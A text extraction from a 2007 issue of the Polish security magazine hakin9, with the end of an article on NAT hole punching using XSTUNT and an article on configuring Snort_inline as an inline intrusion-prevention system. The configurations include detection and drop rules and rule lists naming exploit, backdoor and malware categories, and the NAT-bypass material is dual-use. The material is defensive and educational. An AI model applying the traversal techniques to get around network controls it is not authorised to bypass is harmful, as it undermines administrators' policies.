stępstwa  od  zasad  protokołu.  Opisa-
nie wszystkich pomysłów, które wyko-
rzystywano do przebijania NAT zajęło-
by znacznie więcej miejsca niż niniej-
szy artykuł, a nawet wystarczyłoby na 
małą książkę.

Czekając na koniec świata

Przebijanie  mechanizmu  translacji
adresów i portów jest bardzo ciekawą 
i edukującą czynnością.

Można nauczyć się wiele nie tyl-

ko  o  mechanizmie  działania  NAT, 
ale  również  poznać  zasady  rządzą-
ce stosami TCP/IP. Producenci opro-
gramowania oraz urządzeń VoIP wy-
korzystują wyżej wymienione techniki
w  swoich  rozwiązaniach  praktycz-
nie  od  momentu,  kiedy  technologia 
ta stała się powszechnie stosowana. 
Problem  nawiązywania  bezpośred-
nich połączeń jest zatem aktualny. l

ciu  tunelu  w  NAT  przez  host  A  (pa-
kietem SYN), wyłącznie host B doko-
nał próby bezpośredniego połączenia 
się do publicznego interfejsu hosta A.
W odróżnieniu od poprzedniego sposo-
bu, pośrednik służy wyłącznie do syn-
chronizacji. Trzecie podejście wymaga 
otwarcia tunelu po obu stronach – za-
równo NAT hosta A jak i B. Dodatkowo 
wymagana jest wymiana poprzez po-
średnika  informacji  o  numerach  se-
kwencyjnych  użytych  do  otwarcia
tunelu”.  Następnie  hosty  A  oraz  B 
wysyłają  po  jednym  pakiecie  każdy.
Pakiet  powinien  posiadać  ustawio-
ne  flagi  SYN-ACK  oraz  numer  se-
kwencyjny zdalnej maszyny uzyskany 
od  pośrednika.  Jedna  z  wyżej  opisa-
nych metod została zaimplementowa-
na  w  bibliotece  XSTUNT.  Do  tworze-
nia bezpośrednich połączeń wykorzy-
stuje ona pośredniczący który oprócz 
synchronizacji służy również do wykry-
cia typów NAT łączących się klientów. 

Serwer do poprawnego działania wy-
maga dwóch adresów IP, które wyko-
rzystywane one są do określenia typu 
NAT. Aby uruchomić serwer wystarczy 
wydać polecenie:

./XSTUNTServer 157.158.180.200
 157.158.180.201

Na  stronie  XSTUNT  dostępny  jest 
przykład klienta oraz serwera biblio-
teki. Serwer rejestruje się w kompu-
terze pośredniczącym i oczekuje na 
połączenie  od  klienta.  Klient  łącząc 
się do serwera (poprzez pośrednika) 
wysyła do niego tekst wprowadzany 
interaktywnie  z  klawiatury.  Serwer 
odebrawszy dane od klienta wysyła 
je z powrotem do klienta. Oczywiście 
połączenie pomiędzy klientem a ser-
werem jest połączeniem bezpośred-
nim pomiędzy sieciami lokalnymi.

Aby sprawdzić działanie przykła-

du ze strony wystarczy na hoście A 
wydać polecenie:

./xecho server to_jest_id_mojego_
serwera 157.158.180.200 157.158.180.201

Natomiast  na  komputerze  B  nale-
ży uruchomić ten sam program lecz
z innymi parametrami:

./xecho client client_id to_jest_id_
mojego_serwera 157.158.180.200 
157.158.180.201

O autorze

Konrad  Malewski,  absolwent  informa-
tyki Politechniki Śląskiej. Obecnie dok-
torant informatyki na AGH. Administra-
tor  amatorskich  sieci  komputerowych.
Zarówno w pracy jak i prywatnie intere-
suje się programowaniem oraz bezpie-
czeństwem aplikacji sieciowych.
Kontakt z autorem:
kmalewski@gmail.com

Terminologia

•   NAT  –  (ang.  Network  Address  Translation),  zwana  także  „maskaradą”.  Usługa 

działająca na routerze pozwalająca komputerom w sieci lokalnej na transparentny 
dostęp do innej sieci (zazwyczaj Internet). Czasami można spotkać się ze stwier-
dzeniem host NAT, host za NATem. W pierwszym przypadku chodzi po prostu o 
komputer, na którym działa usługa NAT. Drugie określenie jest wykorzystywane 
do określenia komputera korzystającego z tejże usługi.

•   STUN – (ang. Simple Traversal of User Datagram Protocol Through Network Ad-

dress Translators). Generalnie oznacza protokół, dzięki któremu host za NAT mo-
że wykryć swój publiczny adres, typ NAT, sposób mapowania jego połączeń etc. 
Mianem tym określa się również technikę tworzenia połączeń pomiędzy sieciami 
lokalnymi za pomocą protokołu UDP.

•   TURN – (ang. Traversal Using Relay NAT). Protokół za pomocą którego dwa ho-

sty znajdujące się w różnych sieciach lokalnych przesyłają do siebie dane wyko-
rzystując pośrednika.

Pakiet SYN, Pakiet SYN-ACK, Pakiet ACK – Nagłówek protokołu TCP posiada pola 
będące flagami, które wykorzystywane są między innymi do nawiązywania, kończenia 
oraz synchronizacji połączenia. Pakiet SYN stanowi wiadomość TCP z ustawioną flagą 
SYN. Pakiety SYN-ACK oraz pakiet ACK analogicznie.

background image

www.hakin9.org

hakin9 Nr 1/2007

58

Obrona

S

nort to w zasadzie system detekcji wła-
mań  (ang.  Intrusion  Detection  System
IDS), jego natywny tryb działania opiera 

się więc na wykorzystaniu karty sieciowej nasłu-
chującej ruchu w danym segmencie sieci.

Aby  Snort_inline  był  w  stanie  przetwarzać 

ruch w segmencie sieci musi on zostać niewi-
dzialnie weń włączony, za pomocą dwóch kart 
sieciowych  w  trybie  mostka  (ang.  bridge)  oraz 
funkcjonalności  inline.  Funkcjonalność  tę  za-
pewnia  nam  kolejkowanie  ruchu  poprzez  ipta-
bles  (

ip _ queue

);  nie  jest  to  jednak  wszystko, 

musimy bowiem wiedzieć także, na poziomie ip-
tables, który ruch kolejkować. Dzięki temu trybo-
wi pracy Snort_inline może on zachowywać się 
jak każdy inny system zapobiegania włamaniom 
(ang. Intrusion Prevention System, IPS) i bloko-
wać nawiązywane połączenia. Aby Snort mógł 
działać  jako  system  zapobiegania  włamaniom 
musi on zostać skompilowany z opcją pobiera-
nia flex-response, co pozwala mu na resetowa-
nie ruchu, który ma być blokowany.

Podsumowując,  możemy  stwierdzić  że 

Snort_inline  to  zdecydowanie  najefektywniej-
szy  i  najdokładniejszy  tryb,  jako  że  odrzuca 
on  ruch  w  sieci  na  podstawie  załadowanych 
uprzednio reguł.

Snort_inline w sieci lokalnej

Pierwsza  część  niniejszego  artykułu  poświę-
cona  będzie  krótkiemu  wprowadzeniu  do  za-
gadnienia Snort_inline w sieci lokalnej. Zakła-
damy, że ruch w LANie zorientowany jest głów-
nie na klientów. Na tej podstawie zdefiniować 
można następujące klasy ruchu w sieci:

•   poczta,  klienci  WWW,  p2p,  komunikatory, 

spyware, malware, wirusy, trojany, vpn.

Wspólną cechą wszystkich tych typów z punk-
tu widzenia IDS / IPS jest, że nie możemy prze-
twarzać  ruchu  zaszyfrowanego;  oznacza  to 
brak na liście usług vpns oraz ssl.

Snort_inline

Pierpaolo Palazzoli, Matteo Valenza

stopień trudności

Wykorzystanie Snort_inline okazało się skuteczną strategią 

na zabezpieczenie sieci wewnętrznych, DMZ oraz domowych, 

w przypadku wielu różnych środowisk i scenariuszy. Aby 

narzędzie to działało poprawnie w trybie drop powinno ono 

adaptować się do właściwości środowiska, które chroni.

Z artykułu dowiesz się...

•   jak działa Snort_inline,
•   podstaw systemów zapobiegania włamaniom,
•   jak dostrajać konfigurację Snort_inline.

Powinieneś wiedzieć...

•   podstawy TCP/IP w środowisku Linux,
•   podstawowe zasady działania IDSów.

background image

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

59

Rysunek 1  pokazuje  poprawne 

rozwiązanie dla ochrony tego rodza-
ju,  w  którym  IPS  umieszczony  po-
między routerem, a resztą sieci po-
zwala  nam  analizować  ruch,  który 
chcemy  monitorować  bądź  ochra-
niać.

Po  poprawnym  przygotowaniu 

urządzenia  musimy  dowiedzieć  się, 
jakie  reguły  i  preprocesory  Snorta 
będziemy wykorzystywać.

Załóżmy, że konfiguracja Snorta 

znajduje się w pliku snort_inline.conf 
–  na  przykład  taka,  jak  dostępna 
pod  adresem  www.snortattack.org/

mambo/script/snort_inline.conf 
– i że dla sieci lokalnej zawiera ona 

preprocesory  jak  pokazano  na  Li-
stingu 1.

Preprocesory dla sieci 

lokalnych

Preprocesory  te  przedstawia  Li-
sting 1.  Poniżej  znajdziecie  krótki 
opis  poszczególnych  wymienionych 
w nim komponentów i funkcji.

Clamav  –  procesor  ten  insta-

lowany  jest  jedynie  wtedy,  gdy  zo-
stał  wybrany  podczas  instalacji
(

--enable-clamav

). Dokonuje on skano-

wania w poszukiwaniu wirusów z bazy 
danych Clamava i upewnia się, że nie 
są one zaszyfrowane bądź spakowa-
ne.  Preprocesor  ten  niezmiernie  wy-

dajnie  blokuje  e-maile  zainfekowane 
na  potrzeby  phishingu.  Wykorzystuje 
on następujące funkcje:

•  

ports

 – lista portów do skanowa-

nia (all, !22 – oprócz 22, 110 – tyl-
ko 110)

•  

toclientonly

  –  określa  kierunek 

skanowanego ruchu

•  

action-drop

 – informuje urządze-

nie, jak reagować na wirusy

•  

dbdir

 – katalog zawierający bazę 

danych definicji Clamava

•  

dbreloadtime

 – co ile czasu baza 

powinna zostać przeładowana

Perfmonitor  –  preprocesor  ten  po-
zwala nam na zapisywanie w postaci 
tekstowej  wszelkich  statystyk  zwią-
zanych z wydajnością oraz przepły-
wem danych w sieci. Jest on krytycz-
ny  dla  poprawnego  funkcjonowania 
narzędzia pmgraph, o którym powie-
my więcej później. Również i ten pre-
procesor należy uruchomić podczas 
instalacji  (

--enable-perfmon

).  Posia-

da następujące funkcje:

•  

time  –

 czas niezbędny do prób-

kowania odczytu danych

Scenariusze dla Snort_inline

Należy zauważyć, że system zorientowany na blokowanie włamań powinien być odpo-
wiednio skonfigurowany i gotowy do adaptacji do dowolnych scenariuszy sieciowych 
i rodzajów ruchu. Korzystanie z IPS w trybie inline nie rozwiązuje wszystkich proble-
mów z bezpieczeństwem, pozwala za to na stworzenie scentralizowanego, dynamicz-
nego i wydajnego systemu bezpieczeństwa. IPS powinien wykrywać ruch do i z chro-
nionego źródła. Dzięki interfejsom sieciowym działającym w trybie mostka możemy 
niezauważalnie włączyć urządzenie w sieć i w ten sposób zebrać wszelkie niezbędne 
dane. Do stworzenia urządzenia inline potrzebna jest nam wiedza o wszelkich właści-
wościach chronionej sieci – od warstwy sieci po warstwę aplikacji.

Poniżej opiszemy kilka przykładów rodzajów segmentów sieciowych, w których 

implementacja IPS w trybie inline mogłaby przynieść korzyści zwiększając bezpie-
czeństwo całego systemu:

•   sieć wewnętrzna; grupa klientów obsługujących WWW, pocztę, komunikatory, p2p 

itd. (Rysunek 1),

•   DMZ; grupa serwerów zapewniających usługi powiązane z Internetem (smtp, web, 

ftp, pop3, imap, mysql itd.) (Rysunek 2),

•   LAN + DMZ (Rysunek 3).

Przede wszystkim powinniśmy na jakiś czas uruchomić Snort_inline w trybie IDS (Alert), 
który to czas proporcjonalny jest do rozmiaru sieci (innymi słowy, im większa liczba sys-
temów w niej, tym więcej potrzeba czasu). W okresie tym powinniśmy:

•   wychwycić awarie (problemy z wydajnością bądź składowaniem danych, spowol-

nienia itd.),

•   przeanalizować ruch w sieci pod kątem fałszywych alarmów.

W ten sposób obserwując zebrane dane możemy dokonać zmian w konfiguracji i zop-
tymalizować działanie urządzenia. Warto zauważyć, że w porównaniu z rozwiązania-
mi komercyjnymi implementacja otwartego IPS może nie być tak prosta, jak się to mo-
że wydawać, możesz mieć zatem pewne problemy z usuwaniem wielu fałszywych alar-
mów na pierwszym etapie procedury dostrajania.

Sugerujemy instalację Snort_inline na dedykowanym komputerze i odpowiednią 

organizację jego zasobów sprzętowych (CPU, RAM), według następujących, prostych 
zasad: większa liczba reguł wymaga więcej RAMu, zaś duża intensywność ruchu w 
sieci zwiększa obciążenie procesora.

Niedawne  testy  sieciowe  pokazały,  że  do  zabezpieczenia  połączenia  ADSL 

(1280/256) potrzebny jest system Geode o częstotliwości zegara 266 MHz i z 128 MB 
RAMu (w przypadku tysiąca reguł). Dla pasm o szerokości większej niż 1 Mbps zale-
camy Pentium 4 1 GHz z 512 MB RAM (w przypadku trzech tysięcy reguł).

Rysunek 1. 

Ustawiamy urządzenie 

w sieci lokalnej

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

60

•  

File –

 ścieżka do pliku z danymi

•  

pkcnt  –

  maksymalna  liczba  re-

kordów, jaka może znaleźć się w 
jednym pliku

Flow  –  preprocesor  ten  potrzebny 
jest  do  działania  innych  preproce-
sorów, takich jak 

flowbits  detection 

plug-in

 czy 

flow-portscan

. W skrócie, 

preprocesor Flow pozwala Snortowi 
przechowywać  mechanizmy  akwi-
zycji danych. Ma następujące funk-
cje:

•  

stats _ interval

  –  parametr  ten 

określa  przedziały  czasu,  w  se-
kundach, w których Snort będzie 
zrzucać statystyki na standardo-
we wyjście.

•  

Hash

 – parametr ten określa me-

todę  mieszania.  Wartość  1  defi-
niuje  mieszanie  po  bajcie,  war-
tość 4 – mieszanie po liczbie cał-
kowitej.

Stream  4  –  preprocesor  ten  daje 
Snortowi umiejętność widzenia pod-
stawowych  właściwości  pakietów 
oraz to, gdzie został wygenerowany 
(klient  czy  serwer).  Cytując  Marty-
'ego  Roescha:  Zaimplementowałem 

stream4  na  skutek  chęci  uzyskania 

potężniejszych  mechanizmów  po-

nownego składania strumieni i obro-

ny przed najnowszymi 'atakami bez-

stanowymi. Wykorzystuje następują-
ce funkcje:

•  

disable _ evasion _ alerts

  –  wy-

łącza  alarmy  zapisywane  przez 
stream4

•  

midstream _ drop _ alerts

  –  na-

kazuje  preprocesorowi  blokowa-
nie połączeń generowanych bez 
tworzenia danego strumienia.

Rpc  decode  –  preprocesor  ten  po-
nownie  składa  strumienie  rpc  z  po-
jedynczych pakietów celem ułatwie-
nia ich analizy, jeżeli obecny jest pre-
procesor stream4 możliwe jest prze-
twarzanie  tylko  ruchu  wychodzące-
go od klientów.

Telnet  decode  –  preprocesor 

ten  normalizuje  przepływ  znaków 
w  sesjach  protokołu  telnet.  Nale-
ży podać mu porty, które ma prze-
twarzać.

Reguły dla sieci lokalnych

Kiedy już zdefiniowaliśmy preproce-
sory,  Snort  potrzebuje  określenia  w 
konfiguracji odpowiednich reguł. Ist-
nieje wiele różnych rodzajów reguł:

•  

alert

 – generuje komunikat alar-

mowy,  a  następnie  odnotowu-
je  go  go  w  pliku  bądź  bazie  da-
nych.

•  

log

 – zapisuje do pliku bądź bazy 

danych.

•  

pass

  –  ignoruje  wybrany  przez 

siebie ruch.

•  

drop

 – za pomocą iptables odrzu-

ca pakiet, a następnie odnotowu-
je go w pliku bądź bazie danych

•  

reject

 – w przypadku TCP; połą-

czenie jest resetowane z pomocą 
iptables,  w  przypadku  UDP  wy-
syłany  jest  komunikat  icmp  host 

unreachable;  następnie  zdarze-
nie  odnotowywane  jest  w  pliku 
bądź bazie danych

•  

sdrop

 – odrzuca pakiet za pomo-

cą iptables nie logując go.

W  przedstawionym  tutaj  przykła-
dzie  zadaniem  reguły  jest  blokowa-
nie  miosito.com;  jest  to  część  zbio-
ru  reguł  służącego  blokowaniu  ru-
chu kierowanego do sieciowych ka-
syn nieprzestrzegających reguł wło-
skiego  prawa.  Funkcja 

drop

  określa 

działanie, które iptables musi wyko-
nać jak tylko reguła zostanie zasto-
sowana.

Listing 1. 

Zalecane preprocesory dla sieci lokalnej

preprocessor perfmonitor: time 60 file/var/log/snort/perfmon.txt pktcnt 500
preprocessor flow:stats_interval 0 hash 2
preprocessor stream4_reassemble: both
preprocessor stream4: disable_evasion_alerts
midstream_drop_alerts
preprocessor clamav:ports all !22 !443,toclientonly, action-drop,dbdir /var/lib/clamav,dbreload-time 43200
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode

Tryb mostka

Ustawienie  dwóch  kart  w  tryb  mostka  oznacza  połączenie  ich  funkcjonalności  w 
warstwie drugiej, co czyni je przezroczystymi dla ruchu w sieci. W trybie tym pa-
kiety przekazywane są z jednej karty do drugiej, co pozwala na poprawne przeka-
zywanie ruchu. Aby uruchomić ten tryb pod Linuksem należy wykonać następują-
ce operacje:

Instalujemy pakiet 

bridge-utils

 - 

apt-get  install  bridge-utils

; potrzebne 

będzie jądro w wersji 2.6, w przeciwnym razie należy ponownie skompilować jądro 
wersji 2.4 włączywszy uprzednio moduł mostka. Mostek pomiędzy dwoma kartami 
sieciowymi można zestawić następująco:

/usr/sbin/brctl addbr br0
/usr/sbin/brctl addif br0 eth0
/usr/sbin/brctl addif br0 eth1
/sbin/ifconfig br0 up

Adres MAC przypisany br0 będzie taki sam, jak adres pierwszego interfejsu, który zo-
stał z nim skojarzony.

background image

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

61

drop tcp $home_net any -> 
      any $http ports (
      msg:"snortattack-italian-law";
flow:established;content: "miosito.com";
classtype:policy-violation;
      reference:url, 
      www.snortattack.net;
)

Przeznaczeniem  konfiguracji  przed-
stawionej  na  Listingu 2  jest  kontro-
la  aplikacji  p2p,  ochrona  przed  ata-
kami z wewnątrz (które to ataki sta-
nowią  niemal  70%  wszystkich  ata-
ków),  a  przede  wszystkim  selekcja 
treści  oglądanych  przez  wewnętrz-
ne hosty.

Snort_inline w DMZ

Drugą  część  artykułu  poświęcimy 
krótkiemu  wprowadzeniu  do  zagad-
nienia Snort_inline w DMZ.

Jak  wspomnieliśmy  wcześniej, 

ruch  sieciowy  w  DMZ  z  założenia 
dotyczyć  będzie  głównie  serwe-
rów.  Na  tej  podstawie  zdefiniować 
możemy  następujące  klasy  ruchu 
w DMZ:

•   serwer  poczty,  serwer  WWW, 

serwer bazodanowy, serwer apli-
kacji, wirus, vpn.

Jednym  z  możliwych  rozwiązań 
dla  tego  rodzaju  segmentów  sie-
ciowych  jest  umieszczenie  weń 
IPS.  Tym  razem  system  umiesz-
czony  będzie  pomiędzy  routerem, 
a DMZ.

Preprocesory dla sieci DMZ

Jedynym  preprocesorem,  którego 
konfiguracja uległa zmianie jest Cla-
mav – ważne jest zdefiniowanie dlań 
parametru 

toserveronly

  aby  wybrać 

jedynie  ruch  skierowany  do  serwe-
rów. Patrz Listing 3.

Frag3  –  preprocesor  ten  zastę-

puje  frag2  i  jest  niezbędny  do  re-
konstrukcji  strumienia  danych  roz-
członkowanego  wskutek  fragmenta-
cji transmisji.

Reguły dla sieci DMZ

Po  zdefiniowaniu  wszystkich  pre-
procesorów musimy podać Snortowi 
trochę reguł. Poniżej znajdziesz kilka 
ich zastosowań:

• 

  max _ frags

  –  maksymalna  liczba 

śledzonych fragmentów

• 

  policy

  –  wybiera  sposób  frag-

mentacji,  dostępne  metody  to 
first,  ast,  bsd,  bsd-right,  linux. 
Domyślnym  ustawieniem  jest 
bsd.

• 

  detect _ anomalies

  –  wykrywa 

błędy fragmentacji.

Reguły  zalecane  do  użytku  w  sieci 
DMZ przedstawia Listing 4.

Listing 2. 

Lista przydatnych reguł do ochrony sieci lokalnej

# Ogólne

include

 /

etc

/

snort_inline

/

rules

/

bleeding

.

rules

# Głównie spyware

include

 $

RULE_PATH

/

bleeding

-

malware

.

rules

include

 $

RULE_PATH

/

malware

.

rules

include

 $

RULE_PATH

/

spyware

-

put

.

rules

# Eksploity i ataki bezpośrednie

include

 $

RULE_PATH

/

exploit

.

rules

include

 $

RULE_PATH

/

bleeding

-

exploit

.

rules

include

 $

RULE_PATH

/

community

-

exploit

.

rules

# DOS

include

 $

RULE_PATH

/

dos

.

rules

include

 $

RULE_PATH

/

ddos

.

rules

include

 $

RULE_PATH

/

bleeding

-

dos

.

rules

# Dotyczące WWW

include

 $

RULE_PATH

/

web

-

client

.

rules

include

 $

RULE_PATH

/

community

-

web

-

client

.

rules

# Sygnatury poczty

include

 $

RULE_PATH

/

community

-

mail

-

client

.

rules

# Trojany, wirusy oraz spyware

include

 $

RULE_PATH

/

virus

.

rules

include

 $

RULE_PATH

/

bleeding

-

virus

.

rules

include

 $

RULE_PATH

/

community

-

virus

.

rules

# Peer to peer

include

 $

RULE_PATH

/

p2p

.

rules

include

 $

RULE_PATH

/

bleeding

-

p2p

.

rules

Rysunek 2. 

Przykład sieci DMZ

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

62

Snort w sieci mieszanej

Jeżeli  chodzi  o  urządzenie  w  sie-
ci  mieszanej  (pokazanej  na  Rysun-
ku 3),  zalecamy  następujące  urzą-
dzenia.

Preprocesory  dla  sieci  miesza-

nej znaleźć można na Listingu 5, od-
powiednie  reguły  zaś  przedstawia 
Listing 6.  Przeznaczeniem  opisanej 
w  nich  konfiguracji  jest  kontrola  wi-
rusów  oraz  ochrona  maszyn  przed 
atakami z zewnątrz w oparciu o blo-
kowanie  eksploitów  wymierzonych 
w usługi. Kilka różnych technik ata-
ku  przedstawimy  później,  na  bazie 
praktycznych przykładów.

Monitorowanie ataków

i zarządzanie regułami

Interfejsy,  które  przeanalizujemy
i  opiszemy,  opierają  się  na  bazach 
danych. W zasadzie, wszystkie wy-
niki  ze  Snorta  składowane  będą
w różnego rodzaju bazach danych: 
mysql, postgres itp.

Narzędzia  te  różnią  się  między 

sobą  i  są  napisane  w  różnych  języ-
kach,  jednak  ogólnie  rzecz  biorąc 
wszystkie robią to samo. Są to: ACID, 
BASE,  PLACID,  SNORT  REPORT, 
SGUIL itd.

Narzędzia  te,  napisane  w  PHP 

bądź Pythonie, mają krytyczne zna-

czenie dla dobrego IPS / IDS – kry-
tyczną  jest  bowiem  wiedza  o  tym, 
co dzieje się z naszym urządzeniem 
i  naszą  siecią.  Interfejsy  te  bar-
dzo  prosto  się  instaluje,  wystarczy
rozpakować  archiwa  i  wyedytować 
odpowiednie  pliki  konfiguracyjne 
tak, by narzędzia łączyły się z bazą 
danych Snorta.

Tutaj  zdecydowaliśmy  się  przyj-

rzeć dwóm z nich: BASE oraz PLA-
CID.

Pierwsze  z  nich  jest  pochod-

ną ACID (Analysis Console for In-
trusion  Database);  BASE  to  skrót
od  Basic  Analysis  and  Security 
Engine  (patrz  Rysunek 4).  Narzę-
dzie  to  pozwala  na  przeglądanie
i przetwarzania bazy danych Snor-
ta i jest napisane w PHP. Jego siłą 
jest  wiele  opcji  badawczych  oraz 
możliwość  grupowania  alarmów 
na  podstawie  ich  adresów  IP,  jak 
również innych parametrów, takich 
jak czas bądź rodzaj reguły.

Podstawowa implementacja jest

półautomatyczna, wystarczy rozpa-
kować  archiwum  tar.gz  w  domyśl-
nym katalogu Apache'a (

/var/www/

), 

zmienić  właściciela  utworzone-
go weń folderu oraz przejść do je-
go  pierwszego  poziomu  za  pomo-
cą  przeglądarki.  Zautomatyzowa-
na  procedura  przeprowadza  nas 
przez  tworzenie  niezbędnych  tabel 
i  pozwala  rozpocząć  korzystanie
z aplikacji.

tar -zxvf base-1.2.4.tar.gz
mv base-1.2.4 base
mv base /var/www
chown apache. /var/www/base

PLACID

PLACID  napisany  został  w  Pytho-
nie i jest, podobnie jak BASE, prze-
glądarką  zdarzeń  w  bazie  danych. 
Zapewnia  taką  samą  funkcjonal-
ność  jak  BASE,  jednak  stwierdzo-
no, że działa szybciej w przypadku 
większych baz danych.

Instalacja  PLACID  nie  jest

taka  prosta,  trzeba  zainstalować 
Pythona  2.3  oraz  określić  w  pli-
ku  konfiguracyjnym  Apache'a  kilka 
niezbędnych  do  poprawnego  dzia-
łania parametrów:

Listing 3. 

Lista preprocesorów dla sieci DMZ

Preprocesory dla DMZ
preprocessor perfmonitor: time 60 file /var/log/snort/perfmon.txt pktcnt 500
preprocessor flow: stats_interval 0 hash 2
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy first detect_anomalies
preprocessor stream4: disable_evasion_alerts detect_scans inline_state
preprocessor stream4_reassemble: both
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/

clamav, dbreload-time 43200

Listing 4. 

Lista reguł zalecanych dla DMZ

include

 $

RULE_PATH

/

bad

-

traffic

.

rules

include

 $

RULE_PATH

/

exploit

.

rules

include

 $

RULE_PATH

/

scan

.

rules

include

 $

RULE_PATH

/

dos

.

rules

include

 $

RULE_PATH

/

ddos

.

rules

include

 $

RULE_PATH

/

dns

.

rules

include

 $

RULE_PATH

/

web

-

cgi

.

rules

include

 $

RULE_PATH

/

web

-

iis

.

rules

include

 $

RULE_PATH

/

web

-

misc

.

rules

include

 $

RULE_PATH

/

web

-

php

.

rules

include

 $

RULE_PATH

/

community

-

web

-

php

.

rules

include

 $

RULE_PATH

/

netbios

.

rules

include

 $

RULE_PATH

/

attack

-

responses

.

rules

include

 $

RULE_PATH

/

mysql

.

rules

include

 $

RULE_PATH

/

virus

.

rules

include

 $

RULE_PATH

/

web

-

attacks

.

rules

include

 $

RULE_PATH

/

backdoor

.

rules

include

 $

RULE_PATH

/

bleeding

-

virus

.

rules

include

 $

RULE_PATH

/

bleeding

-

attack_response

.

rules

include

 $

RULE_PATH

/

bleeding

-

dos

.

rules

include

 $

RULE_PATH

/

bleeding

-

exploit

.

rules

include

 $

RULE_PATH

/

bleeding

-

malware

.

rules

include

 $

RULE_PATH

/

bleeding

-

scan

.

rules

include

 $

RULE_PATH

/

bleeding

-

web

.

rules

include

 $

RULE_PATH

/

community

-

exploit

.

rules

include

 $

RULE_PATH

/

community

-

ftp

.

rules

include

 $

RULE_PATH

/

community

-

web

-

misc

.

rules

include

 $

RULE_PATH

/

community

-

smtp

.

rules

background image

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

63

Addheandler cgi-script .cgi .sh .pl .py
<Directory /var/www/placid>
Options ExecCGI
</Directory>

Ponadto, aby ustawić parametry połą-
czenia z bazą danych należy zmodyfi-
kować plik konfiguracyjny PLACID:

tar -zxvf placid-2.0.3.tar.gz
mv placid-2.0.3 placid
mv placid /var/www
chmod +x /var/www/
      placid/placid.py
vi /var/www/placid/
      placid.cfg
dbhost=localhost
db=snort
passwd=password
user=snort
port=3306
resolvedns=yes
entrieslimit=300
debug=no
eventaltviews=yes

Do automatycznej aktualizacji reguł 
zalecamy napisany w Perlu program 
Oinkmaster,  który  pozwala  nam
na zachowanie aktualności naszych 
reguł  dzięki  pobieraniu  ich  kodu
z  różnych  źródeł:  Snort  VRT,  spo-
łeczność  Snort,  społeczność  ble-
eding-snort,  zewnętrzne  oraz  wła-
sne (lokalne).

Poniżej  znajdziecie  instrukcję 

konfiguracji Oinkmastera:

Oinkmaster.conf:
# Przykład dla Snort-current (
      "current" oznacza obrazy z cvs).
url = http://www.snort.org/pub-bin/
      oinkmaster.cgi/
      [codicediregistrazione]/
      snortrules-snapshot-
      CURRENT.tar.gz
# Przykład dla reguł ze społeczności
url = http://www.snort.org/pub-bin/
      downloads.cgi/Download/
      comm_rules/
      Community-Rules-2.4.tar.gz
# Przykład dla reguł z
# projektu Bleeding Snort
url = http://www.bleedingsnort.com/
      bleeding.rules.tar.gz
# Jeżeli wolisz pobierać archiwa reguł
# nie za pomocą Oinkmastera, możesz

# wskazać mu plik na lokalnym systemie
# plików za pomocą file://<filename>,
       na przykład:
# url = file:///tmp/snortrules.tar.gz
# W rzadkich przypadkach możemy chcieć

# pobierać reguły bezpośrednio z 

lokalnego

# katalogu (nie należy tego mylić z
# katalogiem docelowym).
# url = dir:///etc/snort/src/rules

Rysunek 3. 

Przykład sieci mieszanej

Listing 5. 

Preprocesory dla sieci mieszanej

preprocessor perfmonitor: time 60 file /var/log/snort/perfmon.txt pktcnt 500
preprocessor flow: stats_interval 0 hash 2
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy first detect_anomalies
preprocessor stream4: disable_evasion_alerts detect_scans inline_state
preprocessor stream4_reassemble: both
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/

clamav, dbreload-time 43200

Rysunek 4. 

Prosty obraz ekranu

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

64

Po  automatycznej  aktualizacji  mo-
żemy  wybrać,  które  reguły  włączyć 
bądź wyłączyć:

Oinkmaster.conf:
disabledsid [sidy reguł]

Oinkmaster umożliwia automatycz-
ną  zamianę  aplikacji  reguł.  Poniż-
sza  opcja  umieszczona  w  pliku 
konfiguracyjnym zastąpi wystąpie-
nia aplikacji alert przez drop:

Oinkmaster.conf:
modifysid * "^alert" | "drop"

Efektywnym systemem zarządzania 
regułami jest SRRAM, który, chociaż 
cokolwiek  przestarzały,  pozwala  na 
składowanie  reguł  w  dedykowanej 
bazie danych i zarządzanie nimi po-
przez WWW, z wykorzystaniem pro-
stego skryptu przetwarzającego pliki 
reguł. Patrz Rysunek 5.

Aby narzędzie to mogło pobierać 

reguły  z  opcją  drop  należy  zmienić 
fragment jego kodu źródłowego:

rules_import.pl:
if (/^alert/) {
     # jeżeli dana linia to alert
in
if (/^drop/) {
     # jeżeli dana linia to drop

Aby proces importu reguł zakończył 
się sukcesem musimy stworzyć ba-
zę  danych,  która  będzie  zawierać 
zbiór reguł:

# mysqladmin -uroot -p create snort_

rules_mgt

A co za tym idzie, odpowiednio zmo-
dyfikować plik 

rules _ import.pl

:

use DBD::mysql;
# === Modify to fit your system ===
$rules_list = 'snort_rules_file_list';
$mysql_host = 'localhost';
$mysql_port = '3306';
$mysql_db = 'snort_rules';
$mysql_user = 'root';
$mysql_passwd = 'password'; 

oraz  skrypt  cgi 

rules _ mgt.pl

  uru-

chamiany przez serwer WWW:

use DBI;
use DBD::mysql;
use CGI;
# === Modify to fit your system ===
$this_script='rules_mgt.pl';
$cgi_dir='cgi-bin';
$mysql_host = '127.0.0.1';
$mysql_port = '3306';
$mysql_db='snort_rules_mgt';
$mysql_user='root';
$mysql_passwd='';

Teraz  wywołaj  polecenie 

#perl 

rules _ import.pl

  i  skieruj  swoją 

przeglądarkę  pod  adres:  http://IP/

cgi-bin/rules_mgt.pl

Kolejnym podstawowym w przy-

padku  IDS  /  IPS  narzędziem  jest 
PMGRAPH.  Jest  to  prosty  skrypt 
napisany  w  Perlu  generujący  dwie 
strony  w  HTML  zawierające  ta-
bele  przedstawiające  wydajność 
Snorta. By mógł on działać, w pliku 
konfiguracyjnym  koniecznie  trze-

Listing 6. 

Zalecane reguły dla 

sieci mieszanej

# Ogólne

include

 $

RULE_PATH

/

